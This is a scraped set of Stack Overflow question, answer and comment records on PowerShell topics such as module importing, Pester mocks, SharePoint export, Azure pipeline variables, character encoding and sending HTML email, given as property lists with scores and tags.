has body: Summary of problem: When I attempt to call Import-Module from a PowerShell advanced function, it is not importing the new changes. Maybe a caching issue? What works so far: Importing the module by typing the full command in the terminal works great, but I want to automate this so I don't have to type in the full path each time I change to a new module. Import-Module -Name 'G:\Development\POSH\dev\modules\JnTestModule\JnTestModule\JnTestModule.psd1' -Force -Verbose Copying my advanced function to an external file named testModule.ps1 and executing it directly from the module project root folder also works great. Sample code in testModule.ps1 function Import-JnScriptModule { <# .SYNOPSIS Quickly import my custom PowerShell script module for testing changes. .EXAMPLE Import-JnScriptModule #> [CmdletBinding()] [Alias('imp')] param() begin {} process { $modulesRootDirectory = "G:\Development\POSH\dev\modules" Write-Debug "modulesRootDirectory:$modulesRootDirectory" $currentDirectory = (Get-Location).Path Write-Debug "currentDirectory:$currentDirectory" Write-Verbose "Check if we are in the modules dev directory." if ($currentDirectory.StartsWith("$modulesRootDirectory")) { if(!$moduleName) { $moduleName = (Get-Item -Path $currentDirectory).BaseName } Write-Debug "moduleName:$moduleName" $manifestFileName = "$moduleName.psd1" Write-Debug "manifestFileName:$manifestFileName" $projectDirectory = Join-Path -Path $modulesRootDirectory -ChildPath $moduleName Write-Debug "projectDirectory:$projectDirectory" $moduleManifestFullPath = Join-Path -Path $projectDirectory -ChildPath $moduleName -AdditionalChildPath $manifestFileName Write-Debug "moduleManifestFullPath:$moduleManifestFullPath" if ((Test-Path -Path $moduleManifestFullPath) -eq $true) { Remove-Module -Name "$moduleName" -Force -ErrorAction SilentlyContinue Import-Module -Name "$moduleManifestFullPath" -Force -Verbose } else { Write-Verbose "Unable to find module manifest path at '$moduleManifestFullPath'." } } else { Wr…
has answer: http://stackoverflow.com/a/79318620
linked to: http://stackoverflow.com/q/36346817
favorite count: 0
type: Question
answer count: 1
tagged with: module
downvote count: 0
tagged with: powershell
has title: New changes not importing when using Import-Module from an advanced function in PowerShell
type: AnsweredQuestion

http://stackoverflow.com/comment/139836334
comment on: http://stackoverflow.com/q/79296217
type: QuestionComment
type: Comment
has text: With respect to using the `PSObject`: as said, you don't need the `PSObject` property for the example you give as you might simply use the [`Clone()` method](https://learn.microsoft.com/dotnet/api/system.collections.hashtable.clone) instead on the hashtable itself: `$hash2 = $hash1.Clone()`. Note that ***both*** methods actually make [**shallow** copy](https://en.wikipedia.org/wiki/Object_copying#Shallow_copy): `$hash3 = @{ foo = @{ bar = 'apple' } }; $hash4 = $hash3.PSObject.Copy(); $hash4.foo.bar = 'Banana'; $hash3.foo.bar` --> `Banana`.
score: 0

http://stackoverflow.com/comment/140063168
score: 0
type: QuestionComment
type: Comment
has text: @mklement0, thanks for your answer. It really helps to understand the things behind. I'm questioning myself if there is a problem to set the encoding not only temporarily. Do you see problems which could occur if I set the encoding at the beginning of the script and don't change it back?
comment on: http://stackoverflow.com/q/79400555

http://stackoverflow.com/comment/139822661
has text: First: use a modern module for sending mail, `System.Net.Mail*` is obsolete. Second: do you want to send the HTML file as a ATTACHMENT or you want it being the body of the mail?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79291666
score: 0

http://stackoverflow.com/a/79402232
has body: Try following PnP PowerShell. # Connect to SharePoint Online site Connect-PnPOnline -Url "https://yourtenantname.sharepoint.com/sites/yoursite" -Interactive # Variables $libraryName = "Site Pages" # Library name where the pages are stored $localFolder = "C:\Backup\SharePointPages" # Local folder to store exported pages # Ensure the local folder exists if (!(Test-Path -Path $localFolder)) { New-Item -ItemType Directory -Force -Path $localFolder } # Get all pages (items) from the Site Pages library $pages = Get-PnPListItem -List $libraryName -PageSize 500 # Adjust PageSize based on number of pages # Loop through each page and export it foreach ($page in $pages) { # Get the page title and its server-relative URL $pageName = $page["FileLeafRef"] $pageUrl = $page["FileRef"] # Create the local file path $localFilePath = Join-Path -Path $localFolder -ChildPath $pageName # Download the page file Get-PnPFile -ServerRelativeUrl $pageUrl -Path $localFolder -FileName $pageName -AsFile -Force Write-Host "Downloaded: $pageName" } Write-Host "All pages have been exported."
type: Answer
answers question: http://stackoverflow.com/q/79392746
score: 0

http://stackoverflow.com/a/79412343
type: Answer
answers question: http://stackoverflow.com/q/79412056
has body: You've got two issues with your mock object: Mock Item Property The structure of the Worksheets part of the mock object matches the literal structure of the Worksheets type: Worksheets = @{ Item = @{ ... } } but in the real Excel COM objects the Item property is the default indexer property got the Worksheets type, so your code: $package.Workbook.Worksheets[$WorkSheetName] actually invokes $package.Workbook.Worksheets.Item[$WorkSheetName] # ^^^^^ The mock object doesn't have the Item property defined as an indexer so you need to explicitly access the property with $package.Workbook.Worksheets.Item[$WorkSheetName] per the second example above. If you change your function code to this it will work with the real Excel COM objects *and * the mock object. Mock Methods The Clear, Save and Dispose methods are being mocked as empty scriptblocks, but you can't invoke a scriptblock with the () syntax - that's only for external methods (COM / dotnet). You'll need to attach synthetic methods onto the objects instead like this: ... | Add-Member -MemberType ScriptMethod -Name Save -Value { } Solution If you change your mock object to the following and update the .Item reference it will solve both those problems... Mock -CommandName New-Object -MockWith { [PSCustomObject] @{ Workbook = [PSCustomObject] @{ Worksheets = @{ Item = @{ "Sheet1" = [PSCustomObject] @{ Cells = [PSCustomObject] @{ } ` | Add-Member -MemberType ScriptMethod -Name Clear -Value { } -PassThru } } } } ` | Add-Member -MemberType ScriptMethod -Name Save -Value { } -PassThru ` | Add-Member -MemberType ScriptMethod -Name Dispose -Value { } -PassThru }
score: 0

http://stackoverflow.com/comment/139893418
type: Comment
comment on: http://stackoverflow.com/q/79330357
has text: Thanks, but I don't know how to make VSCode do as what the [recommended answer](https://stackoverflow.com/a/6763153/2613667) there suggested
score: 1
type: QuestionComment

http://stackoverflow.com/comment/139923369
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79346257
score: 0
has text: Check below answer @Lbpoundz

http://stackoverflow.com/q/79343590
has comment: http://stackoverflow.com/comment/139918119
has comment: http://stackoverflow.com/comment/139918574
has comment: http://stackoverflow.com/comment/139917995
has answer: http://stackoverflow.com/a/79343934
answer count: 1
tagged with: azure-devops
has body: I have an Azure PowerShell task in an Azure DevOps Pipeline that creates Web Apps by deploying an ARM Template. I'm trying to deploy a Web App with the specific environment variables and while they work fine when I define the variables in the YAML, they are not being passed when I define the Environment Variables via Variable Groups. This is the task that works fine: - checkout: self - task: AzurePowerShell@5 displayName: "Create Web Apps" inputs: azureSubscription: 'XXX' ScriptType: 'InlineScript' azurePowerShellVersion: 'LatestVersion' errorActionPreference: 'silentlyContinue' Inline: | # Define variables $ARMTemplateFile = "$(Build.Repository.LocalPath)\ARM-Templates\WebApps.json" $ResourceGroupName = "XXX" $WebAppEnvironmentVariables = @{ "Name1" = "Value1" "Name2" = "Value2" } # Use Azure PowerShell to deploy the ARM template New-AzResourceGroupDeployment ` -ResourceGroupName $ResourceGroupName ` -TemplateFile $ARMTemplateFile ` -TemplateParameterObject @{ "EnvironmentVariables" = $WebAppEnvironmentVariables } I've tried every possible combination that I could think of and none of them work when referencing object from the Variable Groups. The template gets deployed, but the Environment Variables are empty: - checkout: self - task: AzurePowerShell@5 displayName: "Create Web Apps" inputs: azureSubscription: 'XXX' ScriptType: 'InlineScript' azurePowerShellVersion: 'LatestVersion' pwsh: true Inline: | # Define variables $ARMTemplateFile = "$(Build.Repository.LocalPath)\ARM-Templates\WebApps.json" $ResourceGroupName = "XXX" # Use Azure PowerShell to deploy the ARM template New-AzResourceGroupDeployment ` -ResourceGroupName $ResourceGroupName ` -TemplateFile $ARMTemplateFile ` -TemplateParameterObject @{ "EnvironmentVariables" = $(VariablesObject1) }
tagged with: azure-pipelines
tagged with: powershell
has comment: http://stackoverflow.com/comment/139946328
has comment: http://stackoverflow.com/comment/139917953
type: UnansweredQuestion
has title: Pass PowerShell Object from Variable Group
tagged with: azure-pipelines-yaml
score: 0
has comment: http://stackoverflow.com/comment/139932325
has comment: http://stackoverflow.com/comment/139917561
tagged with: azure-rm-template
has comment: http://stackoverflow.com/comment/139917610
type: Question

http://stackoverflow.com/comment/139748200
score: 0
comment on: http://stackoverflow.com/q/79249450
has text: hand-made circle is very clear now, thanks
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139813671
type: QuestionComment
comment on: http://stackoverflow.com/q/79286415
type: Comment
score: 0
has text: The linked duplicate summarizes the - obscure - escaping rules. In short: Since your `powershell.exe` CLI call is made from inside the body of an `if` statement, `)` characters must be `^`-escaped too.

http://stackoverflow.com/comment/139997100
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79385377
score: 1
has text: So why is this not an ini file? Did you leave out parts that can be relevant?

http://stackoverflow.com/comment/139878201
comment on: http://stackoverflow.com/a/79321969
score: 0
has text: +1 for a clever simplification, but note that, given the OP's use of `-Recurse`, i.e. processing of an entire directory _subtree_, you solution at least hypothetically may result in false positives. Also - and this may or may not matter in practice - the array "subtraction" method you're using is inefficient.
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/140030186
type: AnswerComment
has text: That is perfect. thank you so much for helping me figure it out.
comment on: http://stackoverflow.com/a/79402333
type: Comment
score: 0

http://stackoverflow.com/comment/139778314
type: AnswerComment
type: Comment
has text: Upon restart of VS Code, the faulty behavior (maximized terminal) is back again
score: 0
comment on: http://stackoverflow.com/a/79265039

http://stackoverflow.com/comment/139919467
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79344223
score: 0
has text: _Windows PowerShell_ situationally stringifies `Get-ChildItem` output objects by file _name_ only rather than by _full path_, _depending on how `Get-ChildItem` was invoked_; this problem has been fixed in [_PowerShell (Core) 7_](https://github.com/PowerShell/PowerShell/blob/master/README.md). The workaround is to use `.FullName` to ensure use of the full path or, if the objects are to be passed to other file-processing cmdlets, to pass them _via the pipeline_. See the linked duplicate for details.

http://stackoverflow.com/comment/139834796
has text: You can detect an enumerable null with `$null -eq $value -and $value -is [psobject]`. A green-lit, but as yet (as of PowerShell 7.5.0) unimplemented enhancement will allow simplifying this test to `$value -is [System.Management.Automation.Null]` in the future. See the second linked duplicate for details.
type: QuestionComment
score: 2
type: Comment
comment on: http://stackoverflow.com/q/79296217

http://stackoverflow.com/a/79375363
has body: The empty line at the end is just the default Table format. Any object be it psobject or not, that is displayed as a table will have that empty line at the end. If you want a workaround for that Out-String with the .TrimEnd, probably the easiest way can be with oss (or Out-String -Stream) and then you can Select-Object -SkipLast 1 to get rid of the last empty line. $myObject | oss | Select-Object -SkipLast 1 If you wanna skip also the first line, in PowerShell 7 you can combine -Skip with -SkipLast, in PowerShell 5.1 you will need to pipe into -Skip first and then pipe again into -SkipLast: # pwsh 7, this is OK: Select-Object -Skip 1 -SkipLast 1 # pwsh 5.1, requires: Select-Object -Skip 1 | Select-Object -SkipLast 1 If you wanna create a new function just like oss but that skips this last line by default you can create another steppable pipeline from Out-String that defaults to -Stream (just like oss) but also skips the last item: function oss2 { [CmdletBinding(HelpUri = 'https://go.microsoft.com/fwlink/?LinkID=2097024')] param( [ValidateRange(2, 2147483647)] [int] ${Width}, [Parameter(ValueFromPipeline = $true)] [psobject] ${InputObject}) begin { $sb = { Microsoft.PowerShell.Utility\Out-String @PSBoundParameters -Stream | Select-Object -SkipLast 1 } $pipe = $sb.GetSteppablePipeline($MyInvocation.CommandOrigin) $pipe.Begin($PSCmdlet) } process { $pipe.Process($InputObject) } end { $pipe.End() } }
accepted answer of: http://stackoverflow.com/q/79375151
type: AcceptedAnswer
type: Answer
downvote count: 0
score: 3
upvote count: 3
answers question: http://stackoverflow.com/q/79375151

http://stackoverflow.com/a/79420277
has body: The regex for the $contentDisposition and $boundaryMatches where incorrect. Somehow the regex changed between versions. It works now.
type: AcceptedAnswer
type: Answer
answers question: http://stackoverflow.com/q/79352579
accepted answer of: http://stackoverflow.com/q/79352579
score: 0

http://stackoverflow.com/comment/139746449
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79246610
has text: If I do split them, it does count the accurate number of lines: https://imgur.com/a/oNBWDCA

powershell-7.3
tags question: http://stackoverflow.com/q/79274677
type: Tag
tag name: powershell-7.3

http://stackoverflow.com/a/79328937
has body: Preface: As TessellatingHeckler's answer hints at, per the docs, the following may work in your specific, mysql.exe-based case: mysql.exe --user=Username --passsword=Password Database -e 'source dump.sql' That said, the answer below answers your question generically, irrespective of the specific external program you're targeting. The PowerShell-native, but slow solution: Ensure that PowerShell sends the .NET strings it has read from the file UTF-8-encoded to your external program via its object-based pipeline, by setting the $OutputEncoding preference variable accordingly: # Tell PowerShell to send text (strings) with UTF-8 encoding # to external programs. # NOTE: No longer necessary in PowerShell 7 $OutputEncoding = [Text.UTF8Encoding]::new() # Use -Raw to read the entire file at once, which improves performance. # Omit it if the file is too large to fit into memory. Get-Content -Raw dump.sql | mysql.exe --user-Username --password=Password Database Bewilderingly, in Windows PowerShell (the legacy, ships-with-Windows, Windows-only edition of PowerShell whose latest and last version is 5.1), $OutputEncoding defaults to ASCII(!), which means that any non-ASCII characters are "lossily" transliterate to verbatim ? characters. PowerShell (Core) 7 now more sensibly defaults to UTF-8; while that in itself is commendable, it is at odds with how it decodes output from external programs by default, which on Windows still defaults to the legacy system locale's OEM code page; see GitHub issue #7233 for a discussion. The reason that the solution is slow is twofold: Because the file's raw bytes are not being passed through, each line read by Get-Content is (a) first decoded into a .NET string in memory and (b) thereafter re-encoded when passed on to an external program (based on $OutputEncoding). By default, Get-Content reads a file line by line, and decorates each in-memory string with (rarely used) ETS (Extended Type System) properties, which is costly both in terms of memory c…
type: AcceptedAnswer
score: 2
type: Answer
answers question: http://stackoverflow.com/q/79328708
upvote count: 2
downvote count: 0
accepted answer of: http://stackoverflow.com/q/79328708

http://stackoverflow.com/comment/139886220
has text: I tried with powershell and used `Connect-MgGraph` but I get an error `Insufficient privileges to complete the operation.` when I want to create an application, however it is possible with az cli. What roles do you have in Entra? or do you login in a different way?
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79326188
type: AnswerComment

file-sharing
tag name: file-sharing
tags question: http://stackoverflow.com/q/79277115
type: Tag

http://stackoverflow.com/a/79292426
accepted answer of: http://stackoverflow.com/q/79276630
type: AcceptedAnswer
type: Answer
has body: While both comments were invaluable, I think @IVNSTN's comment was closest to the case. I set this problem aside for a couple days to work on getting an API project running in my local environment. Since I had uninstalled VS during my troubleshooting, I had to reinstall it for the API project. (VS is not my team's IDE). After that was done I went back to my script and it was working as expected. I'm not sure what it fixed but I'll take it.
score: 0
answers question: http://stackoverflow.com/q/79276630

http://stackoverflow.com/comment/139997219
has text: Thanks. Got me on the right path. Powershell arrays are `0` based though, so with `$Installs = $Installs | Sort-Object { $_[0] }` worked.
comment on: http://stackoverflow.com/a/79385422
type: AnswerComment
type: Comment
score: 0

http://stackoverflow.com/comment/139826206
type: QuestionComment
type: Comment
score: 0
has text: @iRon Sorry I think my example code was confusing. I will edit to make it clearer, but to be short, I didn't know what to put in these question marks: `[????] getfunc() {...` and `[string[]]` was a failed attempt. Ideally, I wish I could just put `[function] getfunc(){...` as I want `getfunc` to return a _function/method_ (which later to be called in main) but apparently that's not possible because powershell doesn't have a "function" datatype.
comment on: http://stackoverflow.com/q/79293130

http://stackoverflow.com/comment/139819398
score: 0
has text: Solved. I forget that the start of my output writes to stderr. others message shows on stdout normally!
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79286923

http://stackoverflow.com/comment/140021256
comment on: http://stackoverflow.com/q/79397825
score: 0
has text: As an aside: `$cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $credential` seems unnecessary in your code - just use `$credential` directly.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139761131
comment on: http://stackoverflow.com/q/79257776
type: QuestionComment
type: Comment
score: 1
has text: That's expected behaviour. If you have an array with only one element in it it will show the type of this one element. If there are more than one you see a *list* type. You could cast the result explicitly to an array if that helps. ... `[array]$one = GetArrayOfHashtable "one" 1`

http://stackoverflow.com/q/79416406
score: 3
has comment: http://stackoverflow.com/comment/140093486
tagged with: object-graph
favorite count: 0
has comment: http://stackoverflow.com/comment/140062430
answer count: 2
tagged with: regex
type: Question
has comment: http://stackoverflow.com/comment/140057810
has comment: http://stackoverflow.com/comment/140093556
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/140078232
has comment: http://stackoverflow.com/comment/140090095
has comment: http://stackoverflow.com/comment/140090034
has comment: http://stackoverflow.com/comment/140062275
has comment: http://stackoverflow.com/comment/140089796
has answer: http://stackoverflow.com/a/79435059
has body: Good evening. Stack Overflow and Powershell and RegEx novice here. The below Powershell code is returning the correct value as well as a little pre context and post context. However, I am looking to enhance this program and capture the ID value that is several hundred lines prior to the result. The problem is, the ID is not always exactly 322 lines above. Sometimes it can be 250 lines, sometimes it can be 150 lines above depending on the JSON file. For example, it is capturing variables in a JSON file for a variable called "RatedOI" on line #2028 This variable is found in the JSON file, line #2028 When I select the checkbox in PowerShell, the result immediately appears However I want to enhance this program and capture the ID string which is literally on line #1706 (322 lines above the result). I am a novice. Notice the curly braces are yellow instead of teal. I am trying to return that ID string, which happens to be a4be181b-a747-4901-a37d-fb7537fd4c19 Here is the powershell/regex code. I included snippets to give you just enough information. Please let me know if you have any questions and if you need more code. I appreciate all of you set-location C:\Users\A187515\Downloads\ $file = Get-ChildItem -Path C:\Users\A187515\Downloads\ -filter *.json | Sort-Object LastAccessTime -Descending | Select-Object -First 1 [xml]$xaml = @" <CheckBox x:Name="Item23" Content = 'RatedOI 1+'/> <TextBox x:Name='Item1_txt' /> <TextBox x:Name='Item2_txt' /> <TextBox x:Name='Item3_txt' /> "@ $reader=(New-Object System.Xml.XmlNodeReader $xaml) #Connect to Controls $Window=[Windows.Markup.XamlReader]::Load( $reader ) # define 1 textbox beneath the variables only $Item1_txt = $Window.FindName('Item1_txt') $Item2_txt = $Window.FindName('Item2_txt') $Item3_txt = $Window.FindName('Item3_txt') #define each item in the UI. Connect to Control $Item23 = $Window.FindName('Item23') #RatedOI which contains multiple lines begins here, copy and paste this $Item23.Add_Checked({ If ($Item23.IsChecked) …
has comment: http://stackoverflow.com/comment/140061530
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/140076899
has title: PowerShell code returning correct value. However, looking to enhance program by capturing the ID tag listed above the desired value
accepted answer: http://stackoverflow.com/a/79431506
has comment: http://stackoverflow.com/comment/140094013
downvote count: 0
has comment: http://stackoverflow.com/comment/140061816
has comment: http://stackoverflow.com/comment/140093580
possible better answer: http://stackoverflow.com/a/79435059
tagged with: powershell
has comment: http://stackoverflow.com/comment/140090107
has comment: http://stackoverflow.com/comment/140090663
has answer: http://stackoverflow.com/a/79431506
upvote count: 3
has comment: http://stackoverflow.com/comment/140067663

http://stackoverflow.com/a/79379723
has body: Other SO answers indicated to append | Out-Null on to the end of ExecuteNonQuery, but it turns out that it is required on the end of both $command.Parameters.Add: $connection = New-Object System.Data.SqlClient.SqlConnection $connection.ConnectionString = $connectionString $connection.Open() $sqlQuery = "UPDATE [dbo].DocumentData SET XmlData = @content WHERE DocumentId = @id" $command = $connection.CreateCommand() $command.CommandText = $sqlQuery $xmldataparam=New-Object Data.SqlClient.SqlParameter("@content", $content) $idparam=New-Object Data.SqlClient.SqlParameter("@id", [int]$id) $command.Parameters.Add($xmldataparam) | Out-Null $command.Parameters.Add($idparam) | Out-Null $command.ExecuteNonQuery() $connection.Close() $connection.Dispose()
downvote count: 1
type: Answer
score: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/139986716
answers question: http://stackoverflow.com/q/79379722

http://stackoverflow.com/a/79293565
has comment: http://stackoverflow.com/comment/139847912
has body: If you want to use the generated HTML as message body, you just need to add its value to its Body property. BONUS: having used HTML5 means better support from standards-following email clients and websites! But please do check alternatives to Net.Mail Also my code is far from great, but it seem to work so that's good enough. # Instead of piping the result directly to the file, first save it in a variable. $CompiledHtml = $HtmlTemplate -f $titleDate, $css, ($HtmlTableRowArray -join [System.Environment]::NewLine) # Then IF YOU NEED you can still save the HTML in its own file. # If you do not, you can skip this step. $CompiledHtml | Set-Content -Path $DiskReportFile # Send Notification if there is at least one element. # If no elements it results $false. No need for more variables! Recycling is good even for code! if ($HtmlTableRowArray) { <# If you want to create the file only if there are rows, move the code about compiling the string and printing it here #> foreach ($user in $users) { Write-Host "Sending Email notification to $user" # Rewritten in a more modern\standardized way $smtpClient = [System.Net.Mail.SmtpClient]::new() $smtpClient.Host='10.200.200.200' # Rewritten in a more modern\standardized way $msg = [System.Net.Mail.MailMessage]::new() $msg.To.Add($user) $msg.From = 'disksspacereport@typicalMSP.com' $msg.Subject = "Servers DiskSpace Report for $titledate" $msg.IsBodyHTML = $true # Just use the previously created variable! $msg.Body = $CompiledHtml # Send the message, I guess. $smtpClient.Send($msg) } }
score: 0
has comment: http://stackoverflow.com/comment/139848182
answers question: http://stackoverflow.com/q/79291666
type: Answer

http://stackoverflow.com/a/79322166
answers question: http://stackoverflow.com/q/79322067
accepted answer of: http://stackoverflow.com/q/79322067
type: AcceptedAnswer
downvote count: 1
score: 2
type: Answer
upvote count: 3
has body: Get-Command -Module &lt;ModuleName&gt; For example: Install-Module -Name PSScriptAnalyzer Get-Command -Module PSScriptAnalyzer CommandType Name Version Source ----------- ---- ------- ------ Cmdlet Get-ScriptAnalyzerRule 1.23.0 PSScriptAnalyzer Cmdlet Invoke-Formatter 1.23.0 PSScriptAnalyzer Cmdlet Invoke-ScriptAnalyzer 1.23.0 PSScriptAnalyzer

http://stackoverflow.com/comment/139958397
type: QuestionComment
has text: Thx, I wansn't aware of that part of the stack family.
type: Comment
comment on: http://stackoverflow.com/q/79364722
score: 1

http://stackoverflow.com/comment/139980913
comment on: http://stackoverflow.com/a/79376203
has text: Okay, so this isn't some arcane "this is by design" thing, I've missed. Yeah, I did just create the specific folder as workaround, just took some minutes to realize why it didn't work in the first place. Will open an issue.
type: Comment
type: AnswerComment
score: 1

http://stackoverflow.com/comment/139827470
score: 1
comment on: http://stackoverflow.com/q/79293130
type: QuestionComment
type: Comment
has text: in your case to follow Mathias's answer, you will need to change `[string[]] getfunc()` to `[System.Management.Automation.PSMethod] getfunc()` and `& $this.getfunc()` to `$this.getfunc().Invoke()`

http://stackoverflow.com/q/79391710
score: 1
has title: How to find out SQL Server ODBC driver version using code?
favorite count: 0
has comment: http://stackoverflow.com/comment/140008737
has answer: http://stackoverflow.com/a/79391773
accepted answer: http://stackoverflow.com/a/79391773
type: Question
has body: I need to find a way to get the SQL Server ODBC driver version info using code, preferably PowerShell. Is there an easy way to achieve this? I checked registry, It is not available in registry. If not in registry, any workaround will also do. Thank you so much.
tagged with: odbc
downvote count: 0
answer count: 1
type: AnsweredQuestion
tagged with: sql-server
tagged with: powershell
upvote count: 1

http://stackoverflow.com/comment/139863003
has text: I think it has something to do with [string] having BaseType of System.Object while the others (e.g. [char], [datetime], [int]) having BaseType of System.ValueType. When converting string[] to object[], since string is already object it does not convert to object[]. Just a theory
comment on: http://stackoverflow.com/q/79314201
type: QuestionComment
score: 2
type: Comment

http://stackoverflow.com/a/79313044
score: 0
answers question: http://stackoverflow.com/q/79312049
type: Answer
has comment: http://stackoverflow.com/comment/139861900
has body: Considering you've added a new Azure data source to get VDI info for All Azure Virtual Desktop (AVD) session hosts and Azure VMs - this might be a rate-limiting scenario. Rate limiting is a mechanism in Azure that prevents API usage spikes on a per subscription basis by limiting the call rate to a specified number per a specified time duration. Such ARM induced throttling/limiting happens at two levels i.e. the subscription &amp; tenant, and there're different limits on each subscription &amp; tenant for such throttling. You may read more about Azure Resource Manager throttles requests HERE and plan accordingly.

http://stackoverflow.com/comment/140020836
comment on: http://stackoverflow.com/a/79397654
has text: But you must use wildcards tho for that to work, so `*.zip` and `*.log` @Hobbes
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139817032
type: AnswerComment
has text: Thank you. Getting out of work now, I'll update tomorrow.
comment on: http://stackoverflow.com/a/79288500
type: Comment
score: 0

http://stackoverflow.com/comment/139908904
score: 1
has text: Each individual file will add _some_ overhead during import, but "much slower" and "in my opinion quite a long time" doesn't really tell us much - how long (in absolute wallclock time) did it take with 1 file vs now with 15? `Measure-Command` may be of help here
comment on: http://stackoverflow.com/q/79338576
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79412675
upvote count: 2
downvote count: 0
type: Answer
score: 2
answers question: http://stackoverflow.com/q/79400555
has comment: http://stackoverflow.com/comment/140073267
accepted answer of: http://stackoverflow.com/q/79400555
has body: The SVN documentation states (emphasis added): The default character encoding is derived from your operating system's native locale. This is in the context of the --encoding parameter, which is documented as overriding the default encoding on submitting information ("your commit message"), but it seemingly (and sensibly) also applies when retrieving information. On Windows, the native locale is the so-called legacy system locale, aka language for non-Unicode programs, and it determines two encodings, via Windows code pages: the OEM code page (wich may be, e.g., CP437 or CP850) - typically used by console (terminal) applications - and the ANSI code page (e.g., Windows-1252 or Windows-1251) - typically used by GUI applications. While the SVN documentation doesn't spell out which of these two code pages the svn utility uses, per your own feedback it seems to be the system's active ANSI code page (which, as noted, is unusual, because console applications by convention use the OEM code page; python is similarly unusual). PowerShell consoles on Windows use the OEM code page by default, as reflected in [Console]::OutputEncoding. Thus, in order for PowerShell to interpret (decode) ANSI output correctly,[1] [Console]::OutputEncoding must be (temporarily) set to the system's active ANSI code page, as follows: & { # Temporarily change the expected output encoding to the ANSI code page. $prevEnc = [Console]::OutputEncoding [Console]::OutputEncoding = [Text.Encoding]::GetEncoding( [int] (Get-ItemPropertyValue HKLM:\SYSTEM\CurrentControlSet\Control\Nls\CodePage ACP) ) svn status # Restore the original encoding. Console]::OutputEncoding = $prevEnc } Note that (non-CJK) ANSI encodings are fixed single-byte encodings and therefore limited to 256 characters. If you need full Unicode support, use --encoding utf8 in your svn call and set [Console]::OutputEncoding = [Text.UTF8Encoding]::new()[2] See also: This answer provides background information on how character encoding comes into p…
has comment: http://stackoverflow.com/comment/140074190
type: AcceptedAnswer

http://stackoverflow.com/comment/139789926
type: AnswerComment
type: Comment
has text: Are you sure you don't end up with a `ReportItem` object, whcih does not expose these properties? Do you see missing data for all returned items?
score: 0
comment on: http://stackoverflow.com/a/79270136

http://stackoverflow.com/q/79404173
has comment: http://stackoverflow.com/comment/140034642
type: UnansweredQuestion
has title: Parsing a multi-line YML array into a loop
linked to: http://stackoverflow.com/q/55243059
score: 0
tagged with: loops
tagged with: yaml
tagged with: arrays
type: Question
has answer: http://stackoverflow.com/a/79404176
has body: I've been scouring the web to help point me in the right direction but to no avail. I'm trying to take multi-line array from one YML file and parse the values into a different ansible playbook: services.yml array: --- Groups: services: Columns: [service_name, port, protocol, destination] Rows: - ['service1', '1234', 'TCP', 'Inbound'] - ['service2', '5678', 'TCP', 'Inbound'] - ['service3', '9012', 'TCP', 'Inbound'] Which gets parsed into this powershell task: - name: set the services yml file as a var ansible.builtin.include_vars: file: service.yml name: services - name: Apply local FW rules ansible.windows.win_powershell: script: | New-NetFirewallRule -DisplayName='{{ item.service_name }}' -LocalPort '{{ item.port }}' -Direction '{{ item.direction }} -Protocol '{{ item.protocol }} -Action Allow loop: &quot;{{ services }}&quot; Looking for a pointer or what kind of data pre-processing we need to do in order to break out this array into a dictonary for use within the loop So far we've tried a mix of various differnt combinations with limited success. at one point we were able to pass the entire line as an object to POwershell, but that dosen't work becsue we need each comma seperated item as it's own independent value.
tagged with: powershell
tagged with: ansible
answer count: 1

azure-aks
tags question: http://stackoverflow.com/q/79353181
type: Tag
tag name: azure-aks

http://stackoverflow.com/comment/139875003
comment on: http://stackoverflow.com/q/79320755
type: QuestionComment
type: Comment
score: 0
has text: @SantiagoSquarzon , no, it is not. It's a non-Microsoft REST API.

http://stackoverflow.com/comment/140069003
type: QuestionComment
type: Comment
score: 1
comment on: http://stackoverflow.com/q/79415137
has text: Somewhere in your code, you are casting `$version` to an int, which of course doesn't work. Cast to `[Version]` instead so you can see the values for Major, Minor, Build and Revision. (also, inirializing $version to an empty string is pointless)

github-packages
tags question: http://stackoverflow.com/q/79342908
tag name: github-packages
type: Tag

http://stackoverflow.com/comment/139778236
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79265633
score: 1
has text: Please include your definition of atomicity in the question.

http://stackoverflow.com/comment/139800050
type: AnswerComment
type: Comment
has text: Hi @Rukmini! Thanks a ton for your help.. this is the new question : https://stackoverflow.com/questions/79279207/set-azureadmstrustframeworkpolicy-powershell-cmdlet-works-on-laptop-but-not-in-g
comment on: http://stackoverflow.com/a/79274662
score: 1

http://stackoverflow.com/comment/139982224
type: Comment
has text: @Lukas definitely not by design
score: 0
comment on: http://stackoverflow.com/a/79376203
type: AnswerComment

return-value
type: Tag
tags question: http://stackoverflow.com/q/79256764
tag name: return-value

ssl-certificate
type: Tag
tags question: http://stackoverflow.com/q/79278871
tag name: ssl-certificate
tags question: http://stackoverflow.com/q/79448686
tags question: http://stackoverflow.com/q/79518055

http://stackoverflow.com/comment/139911810
type: AnswerComment
comment on: http://stackoverflow.com/a/79283746
has text: have you been able to run Connect-MgGraph in a GHA workflow and connect to b2c ? because New-MgBetaTrustFrameworkPolicy, Update-MgBetaTrustFrameworkPolicy only work after the Connect-MgGraph command is run in the workflow. Let me know if I should create a new question ( sorry for the late responce earlier as was out on christmas vacations lol)
type: Comment
score: 0

http://stackoverflow.com/comment/139821959
type: QuestionComment
type: Comment
has text: In my case it works partly yes, but I would have over a thousand stale devices which should be marked for deletion, and it also says it found 0 devices marked for deletion. It does fetch them though.
comment on: http://stackoverflow.com/q/79290835
score: 0

http://stackoverflow.com/comment/139823880
has text: That worked but did not capture the exit code. Afterwards, I set $LASTEXITCODE = 9999999 right before calling your code and then looked at $LASTEXITCODE after using your code and I was able to capture the exit code that way. Thank you for the help, if you want to propose an answer and add the $LASTEXITCODE part, I will accept it.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79291780
